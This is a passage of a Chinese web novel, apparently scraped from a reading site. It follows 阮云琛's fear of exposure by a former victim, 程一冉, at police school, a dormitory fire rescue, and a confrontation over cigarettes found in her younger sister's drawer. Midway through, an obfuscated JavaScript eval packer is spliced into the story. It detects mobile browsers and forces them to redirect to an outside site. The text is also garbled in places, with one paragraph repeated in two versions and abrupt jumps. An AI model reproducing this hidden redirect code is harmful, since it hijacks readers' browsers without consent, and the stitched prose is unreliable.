阮云琛捏着那部小灵通,低头看了看,似乎到现在都没反应过来。 阮秋沉默了一会儿,低低笑了一声:“这下你可以不用去排队打电话了。” 阮云琛“呃”了声,愣愣地看向门口。 想到这儿,阮秋才恍然发现,阮云琛似乎很久没来消息了。 他掏出小灵通,拇指停在键盘上按了好一会儿,打了字又删,删完了又重新打。 他想问她大二的课程难不难,又想问她暑假什么时候回来,要不要去车站接她。最后,按下一个字母又删除,心里窝着一股说不清的闷气。 他盯着屏幕上跳动的光标,鬼使神差地打了一句:“姐,我想你了”。 可就在指尖快要触到发送键时候,他猛地一顿,快速删除了那短短五个字。 阮秋皱了皱眉,手心莫名地攥出一层薄汗。 明明以前还能很自然地对她说“我想你了”,哪怕是她离开几天,都会理直气壮地跑到电话亭去拨学校的号码,大大方方地这么留言。 可现在,这句话在他脑子里绕了一圈又一圈,却像卡在喉咙里似的,怎么都开不了口。 阮秋没法解释这种感觉,也不敢细想。 可能是因为他比小时候高了一截,不需要再仰着头对她撒娇了。也可能是因为她在电话里提到“室友”两个字的时候,他总觉得有点扎耳朵。 他烦躁地挠了挠头,最终憋出一句最安全的问候:姐,你最近怎么样? 他按下发送键,盯着屏幕上“消息已送达”的提示发了半天呆,连手机键盘上细细的磨砂感都清晰得像烙印在了指尖。 85. 恐惧感 阮云琛并不是不想发消息报平安。 可她实在是说不出“还可以”这三个字。 她甚至没法确认,自己现在是不是连“还可以”都不如。 ——她在警校看到了个人。 一个......只要对方发现了她,她——甚至她所维系的一切,都会如泡影般烟消云散的人。 程一冉。 阮云琛还记得上警校前回去老小区的那时候,听到旁边的邻居们讨论程一冉家里的情况。 她知道程一冉的妈妈万秀出事了,也知道程一冉大概率不会再回到那个巷子里了。可阮云琛心里明白,这事儿绝不是邻居口中随意提起的“有人闹事”那么简单。 警察是连夜收了网,也查抄了几十家和安堂名下的娱乐场所,可和安堂早已是像蚂蚁洞一样遍布了整个淮龙,又怎么可能是这么一夜间就能抓捕完全的? 宋祈跑了,可他定下的规矩早已成了摆设。 他的兄弟们或许在躲避追捕,可那些尚未被抓捕的残余势力,肯定已经乱成一锅粥。 娱乐场所被查抄,资金链断裂,那些人不再受控,像一群被剪断缰绳的疯狗,只会变得更加凶狠。 狗急跳墙,急着想要钱,而钱从哪里来? 当然是从欠债人手里。 那些人不可能直接冲着万秀来,他们更可能是冲着钱来的。 阮云琛甚至能想象到,摊子旁边人影晃动,有人抬起手推翻油锅,另一个人扭开煤气罐的阀门,听着怒吼和惊叫声在混乱里炸开。 那是宋祈不在后的世界:失序,混乱,暴力成了唯一的语言。她知道,不止万秀,或许还有更多无辜的人正在被波及,而她什么也做不了。 她握了握拳,指尖紧贴掌心,直到感到微微刺痛才松开。 后来,邻居们说程一冉考了外地的大学——那是比任何人都努力换来的出路。阮云琛没有去证实这些消息,也不敢去问,甚至没有勇气多看那扇积灰的铁门一眼。 可她没想过,程一冉来的,就是这间位于田家庄的警校。 礼堂内的空气压抑而肃穆。 台上的聚光灯将讲台打得明亮而清晰,光线刺破昏暗的四周,将每一个走上讲台的人笼罩在一种庄重的氛围中。 主席台后悬挂着年度总结大会的横幅,字迹端正得一丝不苟。 阮云琛坐在新生席的后排,前方是一片蓝白色的警校制服海洋,整齐而静默。 她的目光漫不经心地在会场扫过,耳边是司仪的机械念词,直到那个名字被清晰地报出来:“优秀学员代表——程一冉。” 她的呼吸猛地一滞。 程一冉的制服熨帖整齐,肩章闪着微光,显得她越发英姿挺拔。 她站定时,微微偏过头,礼节性地向台下点了点头,动作干脆利落,带着一股不容置喙的笃定。 大三大四的学员多数都在外地实习,很少有机会回学校参加集体活动。只有临近毕业的几周,他们才会陆续归队,准备最终的考核和毕业典礼。 程一冉比阮云琛大两届,所以才会一直到现在才在校园里出现。 那张脸,比阮云琛记忆中的更加凌厉,眉眼如刀,整个人像是一把出鞘的剑。 阮云琛觉得手心发凉,掌心的汗意像从身体最深处渗出来的一样冰冷。 她曾以为程一冉早已被岁月淡化为某种模糊的印象,却没想到对方会以这种方式闯入她的生活——比记忆更加鲜活,更加刺眼。 台上的灯光冷白明亮,将发言人的轮廓勾勒得分外清晰。 “公平与正义,绝不是以痛苦和压迫为代价的交易。” 程一冉的声音透过麦克风传来,低沉而平静,像是在讲述某件与她无关的事。 她提到过往参与的任务:高利贷组织的精准打击,非法拘禁案件的救援。语句没有起伏,动作没有多余,整个人显得克制而有力,像一道紧绷的弦。 礼堂内安静极了,只有偶尔翻页的轻响和极细微的窃窃私语。 阮云琛坐在人群中,手指压在膝盖上,握成了拳。她没有抬头,目光落在地板上,却能清晰地感受到台上那道光线里的存在。 发言结束,程一冉向台下鞠躬,动作标准得像是教学视频。 随后,她直起身,目光从人群上方扫过。那是一种迅速又精准的扫视,像一道锋利的光划过平静的水面,激不起波澜,却留下浅浅的痕迹。 阮云琛没有看她,或许是刻意的回避。但那目光经过时,她的指尖轻微地动了一下,仿佛是被针尖戳中,有些疼。 礼堂外的风从窗缝挤进来,带着些微凉意。耳边司仪的声音继续响起,报下一个名字,热烈的掌声响起,又迅速平息。 阮云琛坐着没动,听着那掌声像是从很远的地方传来,又很快被掩盖在其他人群的反应里。 她知道程一冉记得她,也知道那段过去无法抹去。 那时候程一冉的目光——带着愤怒、耻辱和某种复杂的悲凉,像刻刀一样划在她的记忆里。 她站在那间杂乱的客厅,拿走了那台小型录像机机,动作平静而决绝,像是在执行一项例行的任务。但她清楚,程一冉不会忘记,也不可能忘记。 尽管录像机的磁带后来成为警方收网的证据之一,是瓦解和安堂的关键线索,但这一切并不能抹杀她曾经做过什么。 她收债的事实,从来不是什么可以用“间接贡献”掩盖的光彩事迹。 台上的聚光灯像刀刃一样刺向她的神经。程一冉的声音透过麦克风,一字一句落下来,每一个音节都仿佛在无声地指出她的罪责。程一冉的目光似乎没有刻意停留,却像一把暗藏锋芒的刀,从人群中轻轻掠过,留下一种隐约的疼痛。 如果程一冉开口,如果她决定揭露——阮云琛闭了闭眼,指尖在裤缝边蜷缩了一下。 一旦她的身份暴露,警校对她的处理不会有任何犹豫。 而这并非是重点。 她只是怕......怕她的过去如果被翻出来,不仅是她,连带廖致远都会受到牵连。 廖致远对她有恩,阮云琛对这一点始终无法完全释怀。 感恩本就复杂,更何况这份感恩中还掺杂了许多她无法言说的情绪。 她知道,廖致远承担了太多责任——不仅是她,还有阮秋和阮淼淼。 他是一个疲于奔命的中年人,妻子离开,家庭破碎,职业生涯满是疲惫,而她却可能成为压垮他最后的稻草。 阮云琛的喉咙发紧,耳边的声音变得模糊而遥远。她想抬头,却又本能地低下头,将目光藏在暗影里。她不怕自己的毁灭,她怕的是这一切将波及到无辜的人。 至于淼淼…… 阮云琛无法完全忽视这一点,却也同时明白,淼淼是这个家里最单纯的人,始终是她心里无法触碰的一片柔软。 她曾拼尽全力为她铺出一条没有阴影的道路,可这一条路是否真的能完全避开那些她无法掌控的灰暗? 阮云琛不知道,也不敢去想。 她只觉得自己像一根被拉满的弦,每一根神经都在被迫维持一种僵硬的平衡。台上的程一冉还在继续发言,字字句句像铁锤,敲打着她内心那堵摇摇欲坠的墙。 灯光投下的影子落在礼堂的地板上,将每一个人的轮廓拉得狰狞而不安。她的目光不由自主地落在那片阴影上,像是看到了某种无法抵挡的宿命。 如果程一冉发现了她,认出了她,并决定开口,她该怎么办? 阮云琛无法阻止,也无法反驳。 她不是无辜的,她从来都不是。 可程一冉没有。 她甚至没有分多一点目光给阮云琛。 但阮云琛清楚,她一定认出自己了。 早上跑操的时候她就在迎面跑过来的列队里。 程一冉穿着训练服,袖口挽起,裸露出手腕上的一圈深色擦痕——像是某种反复训练留下的印记。步伐沉稳,每一次迈步都精准到位,像被精密调校过的仪器。 她的目光不偏不倚地落在阮云琛的脸上。 那是一双干净得几乎过分的眼睛,清澈却透着冷意,像是刀锋刮过空气,毫不掩饰。 阮云琛本能地别过头,脚下的步子没乱,心跳却猛地失了半拍。她甚至无法确认对方是否真的认出了她——但那一瞬间的目光,却让她浑身的肌肉不由自主地绷紧。 可她的目光没有停留,只是在擦肩而过时,轻声道了一句:“体力不错。” 语调平淡,没有嘲讽,也没有夸奖,但那一刻却让阮云琛背上的汗凉了半分。 那之后,阮云琛觉得自己的脚步声变得异常清晰。 每一次落地,鞋底摩擦跑道的声音都像一把无形的锤子,敲在她的神经上。她没有回头,但肩胛骨的肌肉依旧绷得紧紧的,仿佛随时会被人从后面按住。 夜里很静。 窗外偶尔有风吹过,树叶的沙沙声像是细微的耳语,从黑暗中渗透进来。她的呼吸很轻,却觉得胸口像压了一块石头,每吸一口气都困难得令人难受。 程一冉的目光,像一片无声的刀锋,在她脑海里反复划过。阮云琛闭上眼,试图让自己冷静,可每一次合上眼帘,那双干净又冷漠的眼睛就像印在脑后,挥之不去。 甚至连到了月底信号屏蔽仪关闭时,阮云琛都没办法静下心来。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15178242|158973||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小灵通的屏幕亮了起来,散发出一点微弱的白光。上面有一条短信,发送时间是几天前。 ——姐,你最近怎么样? 发送人:阮秋。 阮云琛低头看着那短短的几个字,指尖在按键上停留了片刻,又缓缓收了回去。屏幕的光晕洒在她的手上,映得掌心的线条深深浅浅,像某种无法被掩盖的痕迹。 她不是不知道怎么回,而是不知道能不能回。 她没办法撒谎,没办法打出“我很好”这三个字。 她甚至不知道自己现在算不算好。 程一冉的目光和那轻飘飘的一句“体力不错”,像一根随时会被点燃的引线。她的存在让阮云琛无法放松警惕,每一个字、每一个眼神都像是一场无声的试探。 她能感受到这根引线的存在,也知道它可能引爆的结果——不只是她自己,还有廖致远、阮秋,甚至是淼淼。 程一冉一句话都不需要,只要一个眼神、一个指向,就能让她所有的伪装崩塌。 尽管廖致远一再告诉她,她过去的一切并不构成犯罪——她的行为并未触及法律的底线,她递交的证据甚至是警方收网和安堂的重要突破口。但这些解释在她心里掀不起一点波澜。 法律认不认是一回事,心里过不过得去是另一回事。 她给程一冉带去过恐惧,这是事实。 程一冉家里的那张欠条,是她亲手递上的;小型录像机,是她亲手带走的。甚至连那句冷淡的“下个月,要么房本,要么钱”都还清晰地响在耳边。 阮云琛知道自己没有亲手点燃那个煤气罐,也知道程一冉的家不只是因为她而被压垮。 可那压垮了程一冉家里的稻草跟她有关系——无论轻重,它压得程一冉家再也没有翻过身的机会。 这一点,无可辩驳。 程一冉的母亲躺在病床上几个月,面摊再也没开起来。 那些生活的琐碎画面,像破碎的老电影片段一样,在她脑海里反复重现。明明是陌生人,却因为她的介入变成了一场难以摆脱的纠缠。 愧疚和悔意像是某种顽固的阴影,死死地攥住了阮云琛的心脏。 它并不直接,也不尖锐,却沉甸甸地压着她的胸口,逼着她无数次去回想那些原本不该再回想的事情。 阮云琛甚至不敢去设想,假如程一冉真的开口,或者有人稍微一挖掘,所有这些隐秘的过往都可能被拖进阳光下。 舆论不会讨论细节,它只会把故事压缩成几个简单的标签——和安堂、收债人、害人者。一个刺目的词汇就能压垮所有人。 阮云琛闭上眼,指尖无意识地在床沿轻轻摩挲,粗糙的触感让她的思绪稍稍回归到现实。可那份压迫感却并未散去,它像空气一样,无形却无处不在。 屏幕的光渐渐暗了下去,阮云琛却没有关掉手机。 她把小灵通握在手心,屏幕冰冷的触感透过掌心,刺得骨头都隐隐发疼。 风从窗缝里挤进来,带着凉意拂过她的脸。 阮云琛缓缓闭上眼,脑海里却翻涌着一片杂乱的声音——教官的哨声,跑道上队友的喘息声,程一冉那句冷淡到近乎挑衅的“体力不错”。 那些声音混杂在一起,像潮水一样拍打着她的神经。 她撑着膝盖坐起来,呼吸浅而急促。宿舍里其他人早已入睡,呼吸声此起彼伏,带着均匀的节奏。 她却始终无法平静下来,像是一根被无限拉紧的弦,随时会崩断。 可阮云琛等了又等,却也没等来任何的举报。 她清楚,这种沉默不是善意,而是一种冷淡的排斥。 她从程一冉身上的每一个细节都能感受到——每次课堂上的疏离目光,每次训练中若有若无的挑剔,甚至她刻意避开却又无法忽视的目光。 但程一冉不动声色。 她的每一个动作都精准无比,像是一场有条不紊的等待,等待一个恰当的时机。 而阮云琛,不敢赌。 她清楚,这沉默随时都可能被打破。 她所维系的一切,随时可能因为一份匿名举报信而崩塌。 阮云琛可以接受被警校开除,甚至被公开批判,但她无法忍受廖致远因此受牵连——一个曾无私帮她的人,不该因为她而失去一切。 空气中弥漫着紧张感。 程一冉的存在,就像一道无形的锁链,时刻缠绕在她的脚踝上。 阮云琛的步伐依旧平稳,可她清楚,这种平稳是不可持续的。 沉默从来不是安全的保证,而是一把锋利的刀,始终悬在她的头顶。 “糟糕!着火了!”一声凄厉的尖叫刺破了夜空。 86. 火 宿舍楼的火情是在一个湿冷的夜晚发生的。 突如其来的刺耳警报声在寂静中炸开,像一把尖刀划破了厚重的黑暗。灯光闪烁,带着刺眼的白光在走廊间明灭。空气里弥漫着刺鼻的烟味,夹杂着一种燥热的不安。 阮云琛从床上弹了起来,一脚蹬开门冲了出去。 楼道的温度比阮云琛预料得还要高,热浪扑面而来,像火舌在肌肤上舔过,留下隐隐的刺痛感。 顶楼着火,火焰往下蔓延。 正值学期末考试结束,很多人都已经收拾行李回家了,楼里的人不多,夜半惊醒的同学们都蓬头垢面的,三两成群拥挤着往楼下跑去。 “楼上还有人!”有人喊了一句,声音被喧嚣吞没,转眼就淹没在人流的奔跑和嘈杂中。 忽地,有人从楼下冲了上来。 阮云琛一愣,尽管只捕捉到了那黑色的背影,却一眼认出了是谁。 ——程一冉。 她逆着人流,脚步稳得像钉子扎进了地板,手里提着一只装满水的红色塑料桶。 光影交错间,阮云琛只能看见她的侧脸,神情冷静,目光专注,像是被某种执念驱使。 程一冉没有回头,也没有看旁人一眼。她的步伐从容,甚至连脚步声都显得格外清晰。那只桶里的水在颤动,晃出细碎的波纹。 阮云琛停下了脚步,热浪像刀一样刮过她的脸。她看了程一冉一眼,咬了咬牙,捞起不知是谁泡在水盆里的几条湿抹布,捂住了口鼻,迈步跟了上去。 楼梯间越来越暗,烟雾逐渐模糊了视线。 程一冉的动作没有一丝迟疑,她快步迈上台阶,伸手敲开最后一间宿舍的门。门内的光线微弱,能隐约看到一个惊慌失措的新生缩在床边。 “快出去!”程一冉的声音不高,却透着不容置疑的力量。 新生愣了一下,依旧迟迟没有动。 程一冉没有再说话,直接冲进去,一把拉住对方的手臂,动作利落而干脆。她用力将那人拖到门口,目光扫向阮云琛。 阮云琛接过新生的胳膊,手指用力到发白,将那人一把扯出门外。火光映在她的眼底,像是一种压抑而焦灼的情绪。 她没有回头,只是低声说了一句:“快走。” 刚迈出门口,头顶忽然传来一声脆响。火舌从顶楼的裂缝间窜了出来,带着灼人的热气,一下子逼近了几人的头顶。新生吓得后退一步,差点跌倒在地。 程一冉眼疾手快地抬起水桶,水流兜头泼了过去,火焰被压制了一瞬,腾起一股呛人的白烟。 “捂住口鼻!”阮云琛低喝一声,将湿抹布直接扔向程一冉。 程一冉伸手接住,动作干脆利落,毫不犹豫地将抹布盖在了脸上。烟雾越来越浓,她低头护着新生,示意阮云琛跟上。 两人一前一后,踩着摇摇欲坠的楼梯,脚步快得像逃命的鸟。楼道内的热浪不断涌上,炙烤着后背,仿佛稍有迟疑,就会被吞噬殆尽。 “楼下!”程一冉低声说了一句,声音沙哑而短促。 阮云琛没有回应,只是用力拽着新生的衣领,将他半拖半推地向下带。 木制的扶手在火光中发出噼里啪啦的声响,脚下的台阶也被烟雾笼罩得看不清楚。她只能靠着本能迈步,每一步都像踩在薄冰上。 楼下空地上的人很少,大部分学生已经回家。只有零星几个人站在远处,衣衫凌乱,神情怔忪地看着这场小范围的火灾。 冷空气夹杂着刺鼻的烟味扑面而来,却让胸腔里的压迫感稍稍缓解了些许。新生跌坐在地上,整个人像是从水里捞出来的一样,脸色苍白得几乎透明。 阮云琛弯下腰,双手撑在膝盖上,大口喘着气,汗水顺着鬓角流下来,湿透的抹布还抓在手里。 程一冉站在不远处,袖子挽得更高了些,手里的抹布垂着,水珠一滴一滴地砸在地上,动作显得冷静得近乎无情。她没有说话,只是抬眼看了阮云琛一眼。 两人之间的空气像是凝固了,除了呼吸声,没有人开口。周围的火光映着她们的脸,彼此的目光却没有交汇,像两条永不相交的平行线。 过了很久,程一冉忽地低声说了一句:“谢谢。” 她的语气平稳,没有多余的情绪,就像是陈述一个事实。 阮云琛一时愣住了。 她看着程一冉的侧脸,却只看见那张被汗水打湿的侧脸。程一冉的目光很淡,没有多停留,转身就朝人群那边走去。 那声“谢谢”像是落进一片水塘的石子,激起一圈圈涟漪,却最终归于平静。 阮云琛低头看着手里的小灵通,屏幕微弱的光映在指尖上,像是一种不真实的虚幻。阮秋的消息还停在那里:“姐,你还好吗?” 她的拇指悬在键盘上,迟迟没有落下。 热浪的余温仿佛还残存在皮肤上,贴着湿透的衣料,黏腻得让人发慌。她盯着屏幕发呆,却不知自己究竟在看什么。脑海里,那声轻飘飘的“谢谢”却像是钉子一样,深深地嵌了进去。 阮云琛不知道程一冉为什么不揭穿她。 她甚至猜不透程一冉和她说“谢谢”的目的是什么。 是单纯的道谢?还是某种试探?亦或是别的什么她根本想不到的理由? 阮云琛抬起手,用力捏了捏眉心,试图把这些凌乱的思绪从脑海中剥离。但那个字眼却像幽灵一样,盘旋在脑海深处,怎么也挥之不去。 她回想起程一冉的眼神。 没有敌意,却也称不上善意——太淡了,淡得像一片没有温度的水面,倒映出她的影子,却捕捉不到任何真实的情绪。 ——“谢谢。” 如果程一冉真的还记得她——不、她不可能忘记,那这声“谢谢”究竟意味着什么?是某种无声的宽恕,还是仅仅出于当下情境的一种表面礼貌? 阮云琛想不出答案,也不敢深想。 屏幕的光渐渐暗了下去,阮云琛却没有关掉手机。她的手指终于轻轻落在了按键上,敲出了一个简短的回应:“还行。” 发送出去的一瞬间,她忽然感到一阵无力。 这句话骗不过阮秋,也骗不过她自己。 她怎么可能还行? 她的每一步都如履薄冰,每一个字都带着小心翼翼的伪装。可这伪装,却偏偏在某些目光里显得如此透明,像一张薄薄的纸,被轻轻一碰就会破裂。 阮云琛看着手机屏幕上那条发送成功的消息,心里涌起一阵无法名状的酸涩。 “还行。”她低声重复了一遍,声音像是被某种情绪浸透,干涩得几乎没有了力气。 “真的还行?”阮秋问。 “真的还行。”阮云琛说。 虽然早就知道她什么事都瞒不过阮秋,但她倒也没想到对方这么快就能察觉。 阮秋站在大巴门前,手里撑着帮她从大巴底下的存储空间掏出来的行李箱,就这么盯着她,从左眼盯到右眼,从额头盯到下巴。 阮云琛甚至觉得,这孩子上辈子可能是个立在超市门口的防盗扫描器,所有心里有鬼的人全都能给扫出来,然后拼了命地哔啵哔啵叫。 “就只是还行?”阮秋又问。 阮云琛推了他一把:“先让我下车。” 阮秋犹豫了一秒,让开了。 阮秋站在原地,看着阮云琛下了车,手里还提着她的行李箱。他的目光追随着她的背影,像是捕捉猎物的鹰,细致而执着。 “就只是还行?”他在她迈步离开前,轻声又问了一遍。 阮云琛停下脚步,回头瞥了他一眼,神色冷淡,像是一个早被练就了完美伪装的雕像。热浪扑面而来,将她脸上被汗浸出的细微疲态掩在了阳光之下。 “你是来接我,还是来审问我的?”她的语气不轻不重,像丢下一片毫无温度的纸片。 阮秋没有接话。 他低头看了一眼手里的行李箱,把它往旁边放了放,又重新抬头,嘴角带着一抹若有若无的笑意。 “接人和审问本来不冲突。”他说得轻描淡写,却让阮云琛有一瞬的愣神。 她移开了目光,像是避开了一把直指心口的匕首。她知道阮秋在试探她,可她却偏偏不知道如何反击。 阮秋快步跟上来,把行李拎得更稳当了一些:“姐,我说真的,你要是有什么事,能不能别自己憋着?” 阮云琛没有回头,只是抬手拢了一下额前被风吹乱的碎发,语气平淡:“没什么事,你想多了。” 这句话说得太快,像是一道早已烂熟于心的剧本台词,毫无停顿地脱口而出。可她却清楚,这台词背后的空洞有多刺眼。 他没有再追问,甚至连眼神都显得格外平静,但阮云琛却觉得那平静像是一汪深潭,藏着她无法触及的重量。 但阮秋确实也没再继续这个话题。 “我高考成绩下来了。”他说。 阮云琛一愣,脚步微微一顿,转头看了他一眼,喉咙动了动,最终只挤出一句:“考得怎么样?” 阮秋勾了勾嘴角,语气里带着点无可奈何的轻嘲:“我考得怎么样你当然知道。” 阮云琛哑口无言。 阮秋成绩向来好,不是年级前十就是年纪前二十,努力一把的话前三前五都不在话下。 有这样的成绩,即使高考失利或者睡过了某几门课,也不一定上不了淮龙师范。 “你确定真的要上那学校?” 尽管知道答案,阮云琛还是又最后问了一遍。 “当然。”阮秋说,“等我之后去英国留学,回来给你打包他们的国菜。” 阮云琛眉头一跳,回头看去,却只见阮秋眼角带笑,仿佛满心的鬼点子。 “你不好奇他们的国菜是什么吗?”他问。 阮云琛直觉那一定不是什么好东西,飞快否定了:“......不好奇。” 阮秋撇了撇嘴。 前方过了十字路口,又拐了两道弯,尽头便是那栋熟悉的公寓。 推门进屋时,阮云琛的脚步顿了一下。她微微侧头,嗅了嗅空气中的味道,忽地问道:“廖叔这几天回来过吗?” 阮秋正跟在她后头拎行李,听见这话也停了下来。他的眉头轻轻一动,似乎没有明白她的意思。 “没有啊。”他语气里透着一丝疑惑,顺着她的视线扫了一圈,“怎么了?” 阮云琛没有立即回答,而是站在原地,眉头微微皱起。 空气里弥漫着一股淡淡的烟味, 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青春期的孩子,总会多几分自己的脾气,尤其是淼淼这样活泼的性子,有点小不满、小情绪,倒也正常。 她却没多说什么,只是弯腰将鞋摆正,顺手掸了掸袖口的灰。 阮秋看了她一眼,忍不住笑了笑:“行了,别撒气了,你姐这几天也没歇着。饭菜热了没?” “热了。”淼淼抢答,声音恢复了一点活力,抬手一指厨房里的锅,“但你们再不来就要糊了。” 厨房里传来一股糊味,阮秋眉头一皱,“嗖”地就蹿了起来:“你不早说!” “你又没问。”阮淼淼说。 阮云琛莫名觉得有一股突如其来的无力感。 倒不是什么坏事,就只是看着淼淼这样,她才突然意识到记忆里那个一直像个小跟屁虫似的跟在她身后的小天使也是会长大的。 大概是变得更爱顶嘴了,也大概是说话的时候多了几分藏不住的小情绪。 淼淼语气里那点带刺的倔强,像一根悄悄冒出来的嫩芽,柔软却锋利。小时候的影子依稀可见,可那影子已经被青春期的光影拉得很长,带着几分模糊的陌生感。 人的青春期可以很早也可以很晚,可以很长也可以很短,但唯一的共识,就是青春期的小孩都像个混蛋。 阮云琛不太确定自己是不是曾经也有青春期。 但她的青春期大多都被埋葬在宋祈的阴影里,可仔细想来,或许是因为恐惧可以扼杀青春期的烦躁,焦虑可以扼杀青春期的愚蠢。 闹脾气的后果是家破人亡,犯蠢的后果是见不到明天的太阳。 可能青春期是只有幸福着的小孩才会有的东西吧。 想到这里,阮云琛止不住地冲着阮秋看。 阮秋刚从厨房出来,手里还拿着勺子,脸上挂着几分被热浪熏得微红的狼狈。他一抬头,就撞上了阮云琛的目光。 那目光不算冷,但也绝对算不上温暖。它就那么静静地落在他身上,像是一个轻描淡写的注视,却偏偏让阮秋觉得后背发凉。 “……姐?”他试探着开口,抬手摸了摸自己的脸,“我脸上有东西?” 阮云琛没说话,只是换了个角度看他,眼神像是在打量,又像是在捕捉什么。 被盯了几秒,阮秋终于绷不住,伸手在脸上擦了几把,又左右转头自查了一圈:“到底怎么了?” 阮云琛终于开了口,声音低而轻,带着点慢条斯理的意味:“没事。就随便看看。” 阮秋闻言,心里更加发毛。他张了张嘴,却发现自己竟然无言以对,只得低头嘟囔了一句:“随便看看……也能看得这么慎人。” 阮云琛不置可否地“嗯”了一声,转身拿起筷子,像是什么都没发生过似的继续吃饭。 阮秋站在原地,拿着勺子的手僵了好几秒,忍不住又看了她一眼。她低头夹菜的模样看起来没什么特别,却莫名透着一种让他无法忽视的存在感。 “你们两个……能不能别像在演无声片一样?”淼淼终于忍不住开口了,声音夹着点说不上来的嫌弃,“搞得我胃口都没了。” 阮云琛这才抬起头,看了她一眼,语气淡淡的:“你不是喊着饿吗?” 淼淼一噎,嘴里的蛋糕顿时也变得没那么香了。她翻了个白眼,干脆不再搭理这俩人,自顾自地端着碗起身,往客厅去了。 阮秋趁着这个空档,凑过来压低声音问:“姐,你刚刚到底在想什么?” 阮云琛夹菜的动作一顿,抬眼瞥了他一下,语气不急不缓:“在想你是不是也快到青春期了。” “……”阮秋哑然,捏着勺子的手悬在半空,不知道该接什么话。 饭桌上静了几秒,阮云琛低头咬了一口菜,似是无意地补了一句:“不过,你的青春期,应该没什么机会犯蠢。” 她说得云淡风轻,语调平静,却像是一把看不见的锤子,落在了阮秋的心头。 只是这锤子砸就砸了,它竟然还弹了起来,直接砸向了淼淼。 “这个是什么?!” 阮云琛的声音穿透了墙壁,直直落入阮秋的耳中。 87. 半包烟 阮秋愣了一下,笔悬在半空,还没打开笔盖。 他的耳朵里嗡了一声,像是某根紧绷的弦被猛地扯断,又像是头顶突然响起了一声霹雳。 ——阮云琛发火了。 这并不常见。 阮秋当然见过她沉着着脸训人,也见过她冷冷地甩下一句“自己看着办”,那种微妙的压迫感总让人不得不乖乖照做。 但真正的怒火——那种从语气里涌出来的东西,他几乎没见过。 不......或者说,也不是完全没见过。 上一次大概是他瞒着她淼淼离家出走的原因,两个人吵得不可开交,阮云琛眉眼间的寒意几乎能把空气冻住。 可现在不一样。 阮秋轻手轻脚地放下了笔,慢慢站了起来,轻手轻脚地,生怕弄出点什么动静。 淼淼房间的门开了一条缝,灯光透了出来,落在暗色的地板上,像一道割裂的伤痕。 阮云琛站在那儿。 她的背影映在光里,肩膀微微发抖,显然是压着什么情绪,像是积蓄了太久的一场风暴,终于到了无法控制的时候。 阮秋的喉咙动了动,莫名觉得一阵窒息。 他吸了口气,小心翼翼地抬脚,推开了那扇门。 门内的场景却让他瞬间停住了。 淼淼站在窗边,手臂无力地垂着,脸上的表情复杂得让人看不明白——是害怕? 不服气? 还是别的什么情绪? 阮秋一时间也有些恍惚。 他的注意力全被那抽屉里的东西吸引走了。 抽屉大开着,光线洒在抽屉的底部,显得里面的东西格外刺眼。 有......半包烟静静地躺在那儿。 烟盒上的警告标语黑字白底,突兀得像一记耳光,狠狠打在了所有人的脸上。 阮云琛的嘴唇紧紧抿着,脸上的怒意没有丝毫掩饰,平日里那种让人心生畏惧的冷静此刻全然不见,只剩下一种刺骨的锋利,像一把脱鞘的刀。 “这是什么?”她的声音里透着一种让人胆寒的冷意。 房间里静得连呼吸声都听不见。 空气像被抽走了一样,每个人的存在感都变得稀薄。那半包烟孤零零地躺在抽屉里,烟盒的边角已经有些卷起,像是在某个不知名的时刻被攥得太紧,留下的痕迹。 阮云琛看着它,眼神冷得像要将那一点灰白彻底冻住。 她本来只是想在饭后来淼淼房间问问她最近学习的情况,却看见她神色慌张地往抽屉里塞着什么。 阮云琛直觉觉得不妙,一个箭步抓住了淼淼的手,心底不知从哪里来的不安一点点扩大,可她却不想是由自己揭开。 她本来只是想在饭后来淼淼房间问问她最近的学习情况。 门开着一条缝,淼淼的影子落在地上,动作显得异常慌张。她的手在抽屉里摸索,快速地往里塞着什么东西,手背因为用力显出青筋。 阮云琛的脚步停了下来。心底的不安像是一根细长的针,顺着脊椎一寸寸刺了上来。 “你在干什么?”她问。 淼淼的动作猛地顿住,僵硬地转过头,眼睛里闪过一丝慌乱。那种表情太熟悉了,像极了她小时候做错事被当场抓包时的模样,只是如今多了一份隐忍和抗拒。 阮云琛直觉不对,一个箭步冲过去,一把抓住了淼淼还没来得及合上的抽屉。 “姐!”淼淼急了,伸手去拦,却被阮云琛轻松避开。 抽屉被拉开的瞬间,那半包烟出现在视线里。 刺眼的灰白包装,印着醒目的黑体字:“吸烟有害健康”。 阮云琛盯着那个烟盒,脑海里一片嗡鸣,所有的情绪都被一种尖锐的愤怒压倒。她觉得自己的血液在燃烧,呼吸像是被扼住了一样,不仅难以控制,甚至带着某种破坏性。 烟盒上印着的每一个字都像是直接落在了她的神经上,火辣辣地烫着。 阮云琛从未觉得烟这种东西和“好”有任何联系。 阮启明——那个满嘴酒气和烟草味的男人,是她最初的噩梦;和安堂的那些日子,永远笼罩在刺鼻的烟雾和压抑的阴影里;宋祈的手下每次递来的烟,都像是在递交一份不容拒绝的命令。 尽管廖致远也抽烟,但那并不能改变什么——况且,连廖致远都因为淼淼的病而渐渐减少了抽烟的次数——在家抽烟的次数。 可现在,这种她曾经无数次想远离的东西,竟然出现在了淼淼的抽屉里。 阮云琛猛地抬头,眼神像刀一样直直落在淼淼身上。她的声音低而冷,带着一种压不住的怒意:“这是什么?” 淼淼低着头,手指紧攥成拳,却一句话都不肯说。 阮云琛的胸口像被什么堵住了,火气在每一根神经上蔓延开来,几乎将她烧得失去理智。 她看着面前这个早已不是小时候那个软软糯糯的孩子的女孩,心底的愤怒、恐惧、自责和无力感交织成一张无形的网,将她困在其中。 她一时有些恍惚。 这只是半包烟。 但也不仅仅是半包烟。 愤怒像是掺杂了太多层意义的线团,乱糟糟地缠绕在一起。 阮云琛的手指微微动了动,几乎想要将那东西抓起来,撕得粉碎。可她站在那里,纹丝不动,像是被某种更深的重量压住了。 烟不是陌生的东西。 小时候,她蜷缩在沙发一角,旁边是阮启明抽剩的一堆烟蒂。那些烟头被随意掐灭,洇出深色的焦痕,带着一种湿冷的腐败气息。 